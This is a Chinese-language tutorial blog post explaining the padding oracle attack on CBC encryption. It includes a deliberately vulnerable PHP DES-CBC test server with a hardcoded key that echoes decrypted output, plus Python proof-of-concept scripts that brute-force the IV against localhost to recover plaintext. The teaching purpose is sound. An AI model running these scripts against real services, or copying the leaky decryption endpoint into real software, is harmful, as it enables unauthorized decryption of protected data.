padding oracle攻擊原理分析(附帶rsa資料)

一、前引

最近惡補各種加解密。。把之前學的筆記放一放,本來還想放放自己的rsa筆記,不過這裏有一份更好的了,我自己的就不拿出來了。

flappypig rsa:http://bobao.360.cn/learning/detail/3058.html?from=groupmessage&isappinstalled=0

另外這個oj https://www.jarvisoj.com上加上sctf2016都有比較典型的rsa的題目,比較好練手。

另外有個推薦的博客http://bluereader.org/rss/12594/p-1,這個是比較系統的講了rsa,很不錯,理論比上面flappypig那個講的詳細些,邏輯性更強,要是flappypig的暫時看不懂的話可以先看這個再去看那個。

1.1 四種分組加密方式及padding

http://www.cnblogs.com/happyhippy/archive/2006/12/23/601353.html

簡單總結下:

其中提到填充方法,以分組8個字節爲例:需要填充n個字節,則n個字節都填充0x0n。如果恰好全滿,填充8個0x08組成新塊。OFB和CFB不需要填充。

如下分組,產生密文我們在反解的時候,注意到最後一個分組的末尾的數值爲0×04,即表示填充了4個Padding。如果最後的Padding不正確(值和數量不一致),則解密程序往往會拋出異常(Padding Error)。而利用應用的錯誤回顯,我們就可以判斷出Paddig是否正確。

這裏寫圖片描述

而這個類似二分盲注的思想,因爲明文是看不到的,但是明文解密失敗是會有反應的。比如在web應用中,如果Padding不正確,則應用程序很可能會返回500的錯誤(程序執行錯誤);如果Padding正確,但解密出來的內容不正確,則可能會返回200的自定義錯誤(這只是業務上的規定),所以,這種區別就可以成爲一個二值邏輯的“注入點”。

明文分組和填充就是Padding Oracle Attack的根源所在。但是這些需要一個前提,那就是應用程序對異常的處理。當提交的加密後的數據中出現錯誤的填充信息時,不夠健壯的應用程序解密時報錯。

所以攻擊成立兩個重要的前提

  1. 攻擊者能夠獲得密文(Ciphertext),以及附帶在密文前面的IV(初始化向量)

  2. 攻擊者能夠觸發密文的解密過程,且能夠知道密文的解密結果

1.2 猜解明文

根據之前的分析,padding只可能有以下幾種情況:


1個字節的Padding0x01
2個字節的Padding0x02
3個字節的Padding0x03
4個字節的Padding0x04
5個字節的Padding0x05
6個字節的Padding0x06
7個字節的Padding0x07
8個字節的Padding0x08(當原始的明文正好是分組的整數倍的時候,Padding一個整組的填充值)

cbc解密模式圖如下:

這裏寫圖片描述

我們接下來要利用選擇密文攻擊的思想,不斷調整,修正IV。來對Intermediary Value進行猜測。

1.2.1 padding 0x01

我們不斷地調整IV的值,以希望解密後,最後一個字節的值爲正確的Padding Byte,這裏是0×01。因爲Intermediary Value是固定的(我們此時不知道Intermediary Value),因此從0×00~0xFF之間,只可能有一個IV的值與Intermediary Value的最後一個字節進行XOR後,結果是0×01( 因爲0×01只有最後1bit爲1,其他都是0,所以根據XOR的性質,只能存在一個值能XOR得到0×01)。攻擊者通過遍歷這255個值,可以找出IV需要的最後一個字節。

即我們可以控制iv,然後我們能夠知道原本正確的iv是啥,然後我們只需要構造iv使得明文解出來是0x01就行了,這樣就推到了中間值,加上我們知道正確的iv,異或一下就能夠得到第一組明文的最後一個字節的了:


Intermediary Value ^ iv = 0x01

這個iv是我們通過嘗試不斷構造的,這樣子推出了Intermediary Value,那麼之前說了我們掌握了真正的iv,這樣子就能夠知道最終的明文了

1.2.2 padding 0x02

通過上述操作我們能夠知道第一個字節,假設爲0x??,因此可以”更新”IV(攻擊者輸入的IV)的第8個字節爲0x?? ^ 0x02,然後開始隨機構造iv的倒數第二個字節,直至解密出來的第一個分組的倒數第二個字節爲0x02,此時的iv異或上0x02之後再和正確iv的倒數第二個字節異或,即可得到明文的第一分組的倒數第二個字節。

至於padding 0x03,0x04…..就不再贅述了。

二、測試代碼

這裏我自己寫了個簡單的服務器測試了下,寫的比較挫,只是幫助自己更好的理解下原理。。然後自己寫了poc。寫的非常難看,大家將就着看,另外把自己的草稿也保留在其中了。

服務端代碼:


<?php

$string = 'bendawang';

$key = '12345678';

$cipher = MCRYPT_DES;

$modes = MCRYPT_MODE_CBC;

/*



#cipher:01af3d443c84ae0d859755ee9b3e2933

#iv:38b740ea94706e9b



$iv=hex2bin("38b740ea94706e9b");

#iv=hex2bin($_GET['$iv']);

#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);

#$str=hex2bin($_GET['str']);

$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);

$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);

echo bin2hex($iv)."</br>";

echo bin2hex($encode)."</br>";

echo $decode."</br>";

*/

if(isset($_GET['iv'])&&isset($_GET['str'])){

    $iv=hex2bin($_GET['iv']);

    #echo $iv;

    $str=hex2bin($_GET['str']);

    $decode=mcrypt_decrypt($cipher,$key,$str,$modes,$iv);

    #echo bin2hex($iv)."br>";

    #echo bin2hex($encode)."br>";

    echo bin2hex($decode);

    $temp=bin2hex($decode);

}

else{

    $iv=hex2bin("38b740ea94706e9b");

    $encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);

    echo "the iv is <h2>".bin2hex($iv)."</h2><br>";

    echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";

}



?>

然後是攻擊測試代碼:




#!/usr/bin/env python

# encoding: utf-8

import requests

r=requests.session()

url="http://127.0.0.1/test.php"

tmp="0000000000000000"

str1="01af3d443c84ae0d859755ee9b3e2933"

iv="38b740ea94706e9b"

ans=[]

param={"iv":iv,"str":"01af3d443c84ae0d859755ee9b3e2933"}

result=r.get(url,params=param)

string1=result.content

lastbyte=[]

lastmedium=[]

for k in xrange(len(string1)/16):

    ans.append("");

    for j in xrange(8):

        for i in xrange(256):

            if i<16:

                tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]

                t=j

                #print lastbyte

                #print t

                while t>0 and lastbyte!=[]:

                    if lastbyte[t-1]<16:

                        tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]

                    else:

                        tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]

                    t-=1

            else:

                tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]

                t=j

                #print lastbyte

                #print t

                while t>0 and lastbyte!=[]:

                    if lastbyte[t-1]<16:

                        tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:]

                    else:

                        tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:]

                    t-=1

            #print tmp

            #print i,tmp

            param={"iv":tmp,"str":str1[16*k:16*(k+1)]}

            result=r.get(url,params=param)

            string=result.content

            #print param

            #print "0"+str(hex(j+1)[2])

            #print len(str1[16*k:16*(k+1)] )

            #print str1[16*k:16*(k+1)]

            #print string

            #print iv

            #print string[2*(7-j):2*(7-j)+2],"0"+str(hex(j+1)[2])

            if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):

                print tmp

                print string

                medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])

                myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])

                time=eval(hex(j+1))

                lastmedium.append(myiv^time)

                #print hex(medium),hex(myiv),hex(time)

                #lastbyte.append(myiv^eval(hex(j+2))^time)

                lastbyte=lastmedium[:]

                #print lastbyte

                for l in xrange(len(lastbyte)):

                    lastbyte[l]=lastmedium[l]^eval(hex(j+2))

                print lastmedium

                print lastbyte

                #print tmp

                #print hex(lastbyte)

                ans[k]+=chr(medium^time^myiv)

                print ans

                break

        #if k!=0:

        #a=raw_input()

    print "\r\nthe answer is : ",ans[k][::-1],"\r\n"

    iv=str1[k*16:(k+1)*16]

    lastbyte=[]

    lastmedium=[]

    #print "iv:",iv

    tmp="0000000000000000"



print "-------------------------------------------------\r\n"

for i in xrange(len(ans)):

    print "the "+str(i+1)+"th block is : "+ans[i][::-1]








#!/usr/bin/env python

# encoding: utf-8

#僅猜解第一個分組,後續理解原理就一樣的類似

import requests

r=requests.session()

url="http://127.0.0.1/test.php"

tmp="0000000000000000"

iv="38b740ea94706e9b"

ans=""

for j in xrange(8):

    for i in xrange(256):

        if i<16:

            tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:]

        else:

            tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:]

        #print tmp

        param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}

        result=r.get(url,params=param)

        string=result.content

        if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]):

            #print tmp

            #print string

            medium=eval("0x"+iv[2*(7-j):2*(7-j)+2])

            myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2])

            time=eval(hex(j+1))

            #print hex(medium),hex(myiv),hex(time)

            ans+=chr(medium^time^myiv)

            print ans

            break

    #a=raw_input()

print "---------------------------\r\nanswer is : ",ans[::-1]



'''

#猜解第一個分組的第二個字節

for i in xrange(256):

    if i<16:

        tmp="000000000000"+("0"+str(hex(i)[2]))+"F8"

    else:

        tmp="000000000000"+str(hex(i)[2:4])+"F8"

    #print tmp[14:16]

    param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}

    result=r.get(url,params=param)

    string=result.content

    if string[12:14]=="02":

        print "done!"

        print tmp

        print string

        print chr(eval("0x"+tmp[12:14])^0x02^0x6E)

        break

'''



'''

#猜解第一個分組的第一個字節

import requests

r=requests.session()

url="http://127.0.0.1/test.php"

for i in xrange(256):

    if i<16:

        tmp="00000000000000"+("0"+str(hex(i)[2]))

    else:

        tmp="00000000000000"+str(hex(i)[2:4])

    print tmp[14:16]

    param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"}

    result=r.get(url,params=param)

    string=result.content

    if string[14:16]=="01":

        print "done!"

        print tmp

        print string

        print chr(eval("0x"+tmp[14:16])^0x01^0x9b)

        break

'''

三、通用poc

最後也給上了寫的比較好的通用poc,一份github的代碼,這個是我用了幾個之後覺得算是最好的一份了。
https://github.com/mpgn/Padding-oracle-attack/blob/master/exploit.py

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章